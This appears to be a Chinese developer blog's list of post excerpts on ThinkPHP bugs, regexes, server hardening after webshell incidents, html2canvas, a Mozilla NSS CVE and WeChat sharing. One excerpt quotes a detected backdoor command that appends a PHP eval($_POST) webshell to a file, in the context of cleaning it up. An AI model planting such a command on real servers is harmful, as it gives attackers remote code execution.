摘要：
$this->db->order("position desc")->paginate(2); 一个排序功能，根据某字段的大小值排序，发现order失效； 原因如下： object(think\paginator\driver\Bootstrap)#20 (9) { ["simple":protec 阅读全文
摘要：
一、校验数字的表达式 1 数字：^[0-9]*$ 2 n位的数字：^\d{n}$ 3 至少n位的数字：^\d{n,}$ 4 m-n位的数字：^\d{m,n}$ 5 零和非零开头的数字：^(0|[1-9][0-9]*)$ 6 非零开头的最多带两位小数的数字：^([1-9][0-9]*)+(.[0-9] 阅读全文
摘要：
thinkphp安全优化 tp框架非常方便好用但是一直饱受着安全的诟病，有很多刚接触tp框架的由于不懂得文件权限设置，上来直接给777权限这是一个非常危险的错误 决定，下面我记录一次tp的Webshell事件以及优化方案，大家可做参考。 问题描述： upload目录被恶意上传一个1.php文件，虽然 阅读全文
摘要：
基于lnmp 很多朋友配置项目的时候可能为了求省事直接给了全目录777权限，建议不要给777权限， 尤其是data目录 正题： 网站移动端 被劫持自动跳转菠菜网站，配置的url美化无效，报错 **模板不存在 出现以上问题可以去清理下缓存，也可手动清理（删除指定文件里面的内容 data/runtime 阅读全文
摘要：
流程：将需要生成图片的部分转换为canvas，再将canvas转换成图片，将图片储存至服务器并引导用户下载 需要使用插件：html2canvas.js、canvas2image.js、base64.js HTML代码 <!DOCTYPE html> <html> <head lang="zh-CN" 阅读全文
摘要：
告警原因：外部入侵 详情：WebShell告警通常是因为Web应用服务存在漏洞被攻击者利用后植入了恶意文件。 建议：建议您采取如下措施处理该告警：1. 确认该文件是否是恶意文件; 2. 清除主机上的其他WebShell文件;3. 修复Web应用存在的弱点或漏洞， 避免再次被入侵; 4. 评估入侵事件 阅读全文
摘要：
云盾检测到后门文件 命令如下：sh -c echo ^<?php @eval($_POST[spread]);?^> >>spread.php eval为常用的木马入侵函数 我们需要禁止此函数的使用 版本 php 5.4以下对应版本 https://download.suhosin.org/suho 阅读全文
摘要：
1.Mozilla NSS拒绝服务漏洞 CVE编号：CVE-2020-25648 披露时间：2020-10-21 11:15:00 描述：NSS是美国Mozilla基金会的一个底层密码学库。该库支持多种加密算法，并且 Firefox 浏览器 的TLS实现基于该库。 NSS 3.58之前的版本存在安全 阅读全文
摘要：
此方法仅限于 向用户发送展示链接 以及向用户发送支付页面等操作 （此方法仅限于主动向用户发送展示链接 而非用户主动分享） 正常情况下缩略图显示为<body>下第一张图片 但在微信内置分享中可能不显示图片 解决方案： *注意显示的缩略图太小也不会显示 尽量尺寸300*300 1.在百度APP打开你的链 阅读全文
摘要：
1、二进制转换十进制 原理：小数点前或者整数要从右到左用二进制的每个数去乘以2的相应次方并递增,小数点后则是从左往右乘以二的相应负次方并递减。 例：10101.1011 = 1*20+0*21+1*22+0*23+1*24.1*2-1+0*2-2+1*2-3+1*2-4 = 1+0+4+0+16+0 阅读全文